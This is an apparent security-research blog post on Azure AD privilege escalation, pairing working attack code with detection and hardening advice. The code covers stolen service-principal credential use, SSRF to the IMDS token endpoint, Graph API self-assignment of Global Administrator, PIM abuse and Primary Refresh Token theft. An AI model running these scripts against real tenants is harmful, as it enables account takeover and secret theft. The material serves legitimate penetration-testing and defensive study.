Back to Blog
Vulnerability Research

Azure AD Privilege Escalation: Exploiting Service Principals and Managed Identities

OffSec Research Team
10 June 2026 • 09:00 AM14 min
Azure AD Privilege Escalation: Exploiting Service Principals and Managed Identities
TL;DR — Azure Active Directory's identity model creates numerous privilege escalation pathways that are distinct from traditional on-premises AD attacks. Service principal credential theft, Managed Identity SSRF via the Azure IMDS endpoint, overprivileged Microsoft Graph API permissions, and Privileged Identity Management misconfigurations can all lead from a low-privilege foothold to Global Administrator. This post covers the complete exploitation landscape with Python MSAL and AADInternals examples.

Executive Summary

Azure Active Directory (now branded as Microsoft Entra ID) is the identity backbone of every Microsoft 365 and Azure deployment. Its identity model — spanning users, service principals, managed identities, app registrations, and enterprise applications — creates a complex web of trust relationships that attackers routinely exploit to escalate privileges.

Unlike AWS IAM, Azure AD privilege escalation often leverages Microsoft Graph API permissions, which are granted to application registrations and service principals rather than users directly. An application with AppRoleAssignment.ReadWrite.All and RoleManagement.ReadWrite.Directory can grant itself Global Administrator with no human interaction required. Similarly, Managed Identities attached to Azure resources inherit RBAC roles that may far exceed what the workload requires.

This post examines the Azure AD privilege escalation landscape from an attacker's perspective: how service principals are discovered and exploited, how Managed Identity SSRF provides unauthenticated access to Azure resources, how PIM can be abused when MFA is misconfigured, and how tenant-wide enumeration enables mapping of the full escalation graph.


Azure AD Identity Model

Azure AD's identity primitives:

  • Users — Human identities with UPN. Can be assigned Azure RBAC roles and Azure AD directory roles.
  • Service Principals — The "instance" of an app registration within a tenant. Holds credentials (secrets or certificates), RBAC roles, and Microsoft Graph API permissions.
  • Managed Identities — System-assigned or user-assigned identities for Azure resources. No credentials to manage — access tokens are retrieved from the Azure IMDS endpoint.
  • App Registrations — The "definition" of an application. Exists in one tenant but service principals can be created in other tenants (multi-tenant apps).
  • Enterprise Applications — The service principal representation of third-party apps and Microsoft's own services.
diagram — rendering…
graph TD
    A[App Registration\nTenant A] -->|Creates| B[Service Principal\nTenant A]
    A -->|Consented in| C[Service Principal\nTenant B]
    B -->|Has| D[Client Secret / Certificate]
    B -->|Assigned| E[Azure RBAC Roles\ne.g. Owner on Subscription]
    B -->|Granted| F[Microsoft Graph Permissions\ne.g. AppRoleAssignment.ReadWrite.All]
    G[Azure VM/Function] -->|Has| H[Managed Identity]
    H -->|Bound to| I[Service Principal\nSystem-assigned]
    I -->|Assigned| E

Service Principal Credential Theft

Client Secrets in Code and Configuration

Client secrets (equivalent to passwords for service principals) are 36-character strings generated in the Azure portal or via the Microsoft Graph API. They are frequently committed to source code, hardcoded in environment variables, or stored in configuration management systems without adequate protection.

bash
# Search for Azure client secrets in a codebasegrep -r "client_secret\|AZURE_CLIENT_SECRET\|clientSecret" . \  --include="*.py" --include="*.js" --include="*.env" --include="*.yaml" \  --include="*.json" --include="*.tf" -l # Common patterns in Terraform filesgrep -r "client_secret" . --include="*.tf" | \  grep -v "var\." | grep -v "data\." # Look for Azure SDK configuration filesfind . -name "appsettings*.json" -exec grep -l "ClientSecret\|AzureAd" {} \;find . -name ".env*" -exec grep -l "AZURE" {} \;

Once a client secret is found, use it to authenticate as the service principal:

python
from msal import ConfidentialClientApplication # Authenticate with stolen client secretapp = ConfidentialClientApplication(    client_id="12345678-1234-1234-1234-123456789012",    client_credential="~STOLEN_CLIENT_SECRET~",    authority="https://login.microsoftonline.com/contoso.onmicrosoft.com") # Acquire token for Microsoft Graphresult = app.acquire_token_for_client(    scopes=["https://graph.microsoft.com/.default"]) if "access_token" in result:    print(f"[+] Token acquired: {result['access_token'][:50]}...")    print(f"[+] Expires in: {result['expires_in']} seconds")else:    print(f"[-] Failed: {result.get('error_description')}")

Certificate-Based Authentication

Some service principals use certificates instead of secrets. If the private key is found, it provides persistent access that does not expire on a fixed schedule.

python
import msal, os # Load certificate from PFX file (or PEM)with open("stolen_cert.pem", "rb") as f:    private_key = f.read() app = ConfidentialClientApplication(    client_id="12345678-1234-1234-1234-123456789012",    client_credential={"private_key": private_key, "thumbprint": "CERT_THUMBPRINT"},    authority="https://login.microsoftonline.com/TENANT_ID") result = app.acquire_token_for_client(    scopes=["https://graph.microsoft.com/.default"])

Managed Identity SSRF: Azure IMDS Exploitation

Azure resources (VMs, App Services, Functions, AKS pods) with Managed Identities assigned can retrieve access tokens from the Azure IMDS endpoint. Unlike AWS IMDS, the Azure endpoint requires a specific header (Metadata: true) but no authentication token (for system-assigned MI on VMs).

bash
# From within an Azure VM — retrieve access token for the managed identitycurl -s -H "Metadata:true" \  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" # For App Service / Functions (different endpoint)curl -s "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01" \  -H "X-IDENTITY-HEADER: $IDENTITY_HEADER"

Response:

json
{  "access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6...",  "expires_in": "28800",  "expires_on": "1705348800",  "not_before": "1705320000",  "resource": "https://management.azure.com/",  "token_type": "Bearer",  "client_id": "12345678-1234-1234-1234-123456789012"}

SSRF to IMDS via Web Application

If the target application is hosted on Azure (App Service, VM, AKS) and vulnerable to SSRF, the attacker can request tokens for any resource:

bash
# SSRF payload to get a token for Azure Key Vault# Target: http://vulnerable-app.contoso.com/fetch?url=<URL>curl "http://vulnerable-app.contoso.com/fetch?url=http://169.254.169.254/metadata/identity/oauth2/token%3Fapi-version%3D2018-02-01%26resource%3Dhttps%3A%2F%2Fvault.azure.net%2F&Metadata=true" # Once you have the Key Vault token, enumerate secretsACCESS_TOKEN="eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIs..." curl -s -H "Authorization: Bearer $ACCESS_TOKEN" \  "https://company-vault.vault.azure.net/secrets?api-version=7.4"

Azure AD Privilege Escalation Paths

Path 1: Application Administrator → Service Principal Credential Addition

The Application Administrator directory role can add credentials (secrets and certificates) to any app registration. This is equivalent to impersonating any application in the tenant.

python
import requests def add_credential_to_app(access_token, app_object_id):    """Add a new client secret to any app registration as Application Administrator."""    headers = {        "Authorization": f"Bearer {access_token}",        "Content-Type": "application/json"    }     # Add a new password credential to the target application    payload = {        "passwordCredential": {            "displayName": "Diagnostic Key",            "endDateTime": "2025-12-31T00:00:00Z"        }    }     response = requests.post(        f"https://graph.microsoft.com/v1.0/applications/{app_object_id}/addPassword",        headers=headers,        json=payload    )     if response.status_code == 200:        secret = response.json()        print(f"[+] New secret added: {secret['secretText']}")        return secret['secretText']    else:        print(f"[-] Failed: {response.text}")        return None

Once a credential is added to a high-privilege service principal (e.g., one with Owner on a subscription or Global Admin directory role), the attacker can authenticate as that SP.

Path 2: Microsoft Graph API Permission Abuse

Service principals granted overprivileged Microsoft Graph application permissions are dangerous escalation vectors. The most critical:

Graph PermissionRiskEscalation
AppRoleAssignment.ReadWrite.AllCriticalGrant self any app role including Global Admin
RoleManagement.ReadWrite.DirectoryCriticalAssign any directory role to any principal
Application.ReadWrite.AllCriticalAdd credentials to any app registration
Directory.ReadWrite.AllHighModify most directory objects
GroupMember.ReadWrite.AllHighAdd self to privileged groups
User.ReadWrite.AllMediumModify user attributes, reset passwords
python
import requests def escalate_via_role_management(access_token, target_principal_id, tenant_id):    """Use RoleManagement.ReadWrite.Directory to assign Global Admin."""    headers = {        "Authorization": f"Bearer {access_token}",        "Content-Type": "application/json"    }     # Global Administrator role template ID (fixed across all tenants)    GLOBAL_ADMIN_ROLE_ID = "62e90394-69f5-4237-9190-012177145e10"     # Assign Global Administrator to the target principal    payload = {        "@odata.type": "#microsoft.graph.unifiedRoleAssignment",        "roleDefinitionId": GLOBAL_ADMIN_ROLE_ID,        "principalId": target_principal_id,        "directoryScopeId": "/"    }     response = requests.post(        "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments",        headers=headers,        json=payload    )     if response.status_code == 201:        print(f"[+] Global Administrator assigned to {target_principal_id}")    else:        print(f"[-] Failed: {response.text}") def escalate_via_approleassignment(access_token, service_principal_id):    """Use AppRoleAssignment.ReadWrite.All to grant self privileged Graph permissions."""    headers = {        "Authorization": f"Bearer {access_token}",        "Content-Type": "application/json"    }     # Get the Microsoft Graph service principal ID    graph_sp = requests.get(        "https://graph.microsoft.com/v1.0/servicePrincipals?$filter=displayName eq 'Microsoft Graph'",        headers=headers    ).json()['value'][0]     # Find the RoleManagement.ReadWrite.Directory app role    app_roles = {r['value']: r['id'] for r in graph_sp['appRoles']}    role_id = app_roles.get('RoleManagement.ReadWrite.Directory')     # Grant the permission to the target SP    payload = {        "principalId": service_principal_id,        "resourceId": graph_sp['id'],        "appRoleId": role_id    }     response = requests.post(        f"https://graph.microsoft.com/v1.0/servicePrincipals/{service_principal_id}/appRoleAssignments",        headers=headers,        json=payload    )     if response.status_code == 201:        print("[+] RoleManagement.ReadWrite.Directory granted")

Path 3: Privileged Identity Management (PIM) Abuse

PIM allows eligible role assignments that require activation. Misconfigurations in activation policies can allow activation without MFA, without justification, or with auto-approval.

powershell
# Using AADInternals to check PIM configurationsImport-Module AADInternals # Get access token$token = Get-AADIntAccessTokenForMSGraph -Credentials (Get-Credential) # List PIM eligible role assignments (requires PIM read access)Invoke-AADIntReconAsGuest # Check for self-activatable PIM roles$pimRoles = Get-AADIntPIMRoles -AccessToken $token$pimRoles | Where-Object { $_.ActivationRequirements -eq $null -or $_.ActivationRequirements -notcontains "mfa" }
python
import requests def activate_pim_role(access_token, role_definition_id, eligible_assignment_id, justification="Business requirement"):    """Activate a PIM-eligible role assignment."""    headers = {        "Authorization": f"Bearer {access_token}",        "Content-Type": "application/json"    }     payload = {        "action": "selfActivate",        "principalId": "YOUR_PRINCIPAL_ID",        "roleDefinitionId": role_definition_id,        "directoryScopeId": "/",        "justification": justification,        "scheduleInfo": {            "startDateTime": None,            "expiration": {                "type": "AfterDuration",                "duration": "PT4H"            }        }    }     response = requests.post(        "https://graph.microsoft.com/v1.0/roleManagement/directory/roleEligibilityScheduleRequests",        headers=headers,        json=payload    )     print(f"PIM activation status: {response.status_code}")    return response.json()

Azure AD Tenant Enumeration

AADInternals Toolkit

AADInternals by Dr. Nestori Syynimaa is the definitive Azure AD offensive toolkit.

powershell
# Install AADInternalsInstall-Module AADInternals -ForceImport-Module AADInternals # Tenant information without authenticationInvoke-AADIntReconAsOutsider -DomainName "contoso.com" | Format-Table # Get all tenant informationGet-AADIntTenantID -Domain "contoso.com"Get-AADIntTenantDetails -AccessToken $token # Enumerate users (requires guest access or valid credentials)Get-AADIntUsers -AccessToken $token | Select-Object UserPrincipalName, DisplayName, Roles # Get all service principals with their permissionsGet-AADIntServicePrincipals -AccessToken $token # Check for admin usersGet-AADIntGlobalAdmins -AccessToken $token # Export all sign-in logsExport-AADIntSignInLogs -AccessToken $token -Start (Get-Date).AddDays(-7) # Pass-the-PRT attack (if PRT is obtained from device)$prtToken = Get-AADIntAccessTokenWithPRT -RefreshToken $prt -Resource "https://graph.microsoft.com"

ROADrecon for Graph API Enumeration

bash
# Install ROADreconpip3 install roadrecon # Authenticate (device code flow)roadrecon auth --device-code # Gather all tenant dataroadrecon gather # Launch web interface for explorationroadrecon gui # Export to JSON for offline analysisroadrecon dump --output /tmp/tenant_dump.json

Pass-the-PRT Attack

The Primary Refresh Token (PRT) is a long-lived token issued to Azure AD-joined or registered devices. It allows seamless SSO without re-entering credentials. Stealing a PRT from a compromised Windows device enables authentication as the device's user.

powershell
# On a compromised AAD-joined Windows device# Requires SYSTEM or the target user's session # Method 1: Using AADInternalsImport-Module AADInternals # Dump PRT from LSASS (requires admin/SYSTEM)$prt = Get-AADIntUserPRT # Use PRT to get access tokens$token = Get-AADIntAccessTokenWithPRT `  -RefreshToken $prt.refresh_token `  -Resource "https://graph.microsoft.com" `  -ClientId "1fec8e78-bce4-4aaf-ab1b-5451cc387264"  # Teams client ID # Method 2: ROADtoken / BrowserStealer approach# PRT is used by the CloudAP plugin, accessible via dsreg /statusdsreg /status | Select-String "TenantId|DeviceId|IsDeviceJoined"

Conditional Access Policy Gaps

Conditional Access policies are often misconfigured in ways that leave exploitable gaps.

diagram — rendering…
flowchart TD
    A[Attacker\nSteals SP credentials] --> B{Conditional Access\nPolicies Apply?}
    B -->|No - Service Principal| C[CA Policies exempt\nService Principals by default]
    B -->|Excluded principal| D[Legacy app exclusions\nin CA policy]
    B -->|Named location bypass| E[Corporate IP range\nor trusted location]
    C --> F[Direct access\nwithout MFA]
    D --> F
    E --> F
    F --> G[Microsoft Graph API\nFull permission scope]
    G --> H[Escalate to\nGlobal Admin]

    style A fill:#d32f2f,color:#fff
    style H fill:#1b5e20,color:#fff
python
import requests def enumerate_conditional_access_policies(access_token):    """List all Conditional Access policies to find gaps and exclusions."""    headers = {"Authorization": f"Bearer {access_token}"}     response = requests.get(        "https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies",        headers=headers    )     policies = response.json().get("value", [])    for policy in policies:        print(f"\nPolicy: {policy['displayName']} ({policy['state']})")         # Check for excluded users/groups/SPs        excl = policy.get('conditions', {}).get('users', {}).get('excludeUsers', [])        excl_groups = policy.get('conditions', {}).get('users', {}).get('excludeGroups', [])        excl_sps = policy.get('conditions', {}).get('clientAppTypes', [])         if excl:            print(f"  [!] Excluded users: {excl}")        if excl_groups:            print(f"  [!] Excluded groups: {excl_groups}")         # Check if legacy auth is allowed        client_app_types = policy.get('conditions', {}).get('clientAppTypes', [])        if 'exchangeActiveSync' in client_app_types or 'other' in client_app_types:            print("  [!] Legacy auth not blocked by this policy")         # Check if service principals are in scope        if 'servicePrincipals' not in policy.get('conditions', {}).get('users', {}).get('includeUsers', []):            if policy.get('conditions', {}).get('users', {}).get('includeUsers') != ['All']:                print("  [*] Service principals may not be in scope")

B2B Guest User Exploitation

Azure AD B2B guests can be invited by any member user by default. Guests have limited default permissions but can be used to pivot between tenants or exploit misconfigured resource policies.

powershell
# Enumerate guest users (any authenticated user can do this by default)$guests = Get-AADIntUsers -AccessToken $token | Where-Object { $_.UserType -eq "Guest" }$guests | Select-Object UserPrincipalName, ExternalEmailAddress, CreatedDateTime # Check guest access settings$authPolicy = Invoke-AADIntRestOperation `  -Uri "https://graph.microsoft.com/v1.0/policies/authorizationPolicy" `  -AccessToken $token # Guest default permissions$authPolicy.allowInvitesFrom$authPolicy.guestUserRoleId  # 10dae51f = same as member; bf394140 = limited guest

Unified Audit Log Detection Queries

powershell
# PowerShell: Search Unified Audit Log for privilege escalation activityConnect-ExchangeOnline # Search for role assignments in last 7 daysSearch-UnifiedAuditLog `  -StartDate (Get-Date).AddDays(-7) `  -EndDate (Get-Date) `  -Operations "Add member to role","Add eligible member to role" `  -ResultSize 5000 |  ConvertFrom-Json |  Select-Object CreationDate, UserIds, AuditData |  Format-Table -AutoSize # Search for app credential additionsSearch-UnifiedAuditLog `  -StartDate (Get-Date).AddDays(-7) `  -EndDate (Get-Date) `  -Operations "Add service principal credentials","Update application" `  -ResultSize 5000 # Search for PIM role activationsSearch-UnifiedAuditLog `  -StartDate (Get-Date).AddDays(-1) `  -EndDate (Get-Date) `  -RecordType AzureActiveDirectoryAccountLogon `  -Operations "Add eligible member to role in PIM completed (permanent)" `  -ResultSize 1000

Detection and Mitigation

Hardening Service Principal Credentials

bash
# Audit service principals with credentials older than 90 daysaz ad app list --all --query \  '[?passwordCredentials != null].[displayName,appId,passwordCredentials[*].endDateTime]' \  --output table # List all service principals with client secrets (not certificates)az ad app credential list --id "APP_OBJECT_ID" # Rotate compromised credentials immediatelyaz ad app credential delete \  --id "APP_OBJECT_ID" \  --key-id "KEY_ID_TO_DELETE"

Restricting Microsoft Graph Permissions

bash
# Review all service principals with privileged Graph permissionsaz ad sp list --all --query \  '[].{name:displayName, id:id}' \  --output table # For each SP, list its app role assignmentsaz ad sp list --all --query '[].id' --output tsv | while read sp_id; do  perms=$(az rest \    --method get \    --url "https://graph.microsoft.com/v1.0/servicePrincipals/$sp_id/appRoleAssignments" \    --query 'value[*].principalDisplayName' \    --output tsv 2>/dev/null)  if [ -n "$perms" ]; then    name=$(az ad sp show --id "$sp_id" --query displayName --output tsv 2>/dev/null)    echo "SP: $name ($sp_id) - App role assignments found"  fidone

Entra ID Identity Protection Policies

python
import requests def configure_identity_protection(access_token):    """Configure risk-based Conditional Access policies via Microsoft Graph."""    headers = {        "Authorization": f"Bearer {access_token}",        "Content-Type": "application/json"    }     # Create a Conditional Access policy requiring MFA for risky sign-ins    policy = {        "displayName": "Require MFA for risky sign-ins",        "state": "enabled",        "conditions": {            "users": {"includeUsers": ["All"]},            "applications": {"includeApplications": ["All"]},            "signInRiskLevels": ["high", "medium"]        },        "grantControls": {            "operator": "OR",            "builtInControls": ["mfa"]        }    }     response = requests.post(        "https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies",        headers=headers,        json=policy    )    print(f"Policy creation: {response.status_code}")

Privileged Identity Management Hardening

PIM SettingInsecure DefaultRecommendedWhy
MFA on activationDisabledEnforce MFAPrevents activation with stolen credentials
Approval requiredDisabled (self-approve)Require approvalHuman review of escalation
Justification requiredDisabledRequiredAudit trail for activations
Maximum activation duration8 hours1-2 hoursLimits exposure window
Eligible role expiryNever6-12 monthsRegularly reviewed
Notification on activationDisabledEmail to security teamImmediate alerting

Conclusion

Azure AD privilege escalation is a multi-vector discipline that requires understanding identity federation, Microsoft Graph permissions, RBAC role hierarchies, and device-level token theft. The most dangerous paths are often the least obvious: an application with AppRoleAssignment.ReadWrite.All that appears to be a low-risk monitoring tool can grant itself Global Administrator in a single API call. A Managed Identity with Owner on a resource group can be leveraged to escalate across the entire Azure subscription.

Effective defense requires enforcing Conditional Access for all interactive sign-ins and reviewing service principal permissions with the same rigor applied to privileged user accounts. PIM should be configured with MFA and approval requirements for all critical directory roles. Regular audits using ROADrecon, Entra ID Access Reviews, and the Unified Audit Log provide visibility into the accumulation of permissions that leads to privilege escalation paths.

The tools and techniques described here — AADInternals, ROADrecon, MSAL Python, and Microsoft Graph direct API calls — are available to both attackers and defenders. The advantage goes to the side that uses them proactively.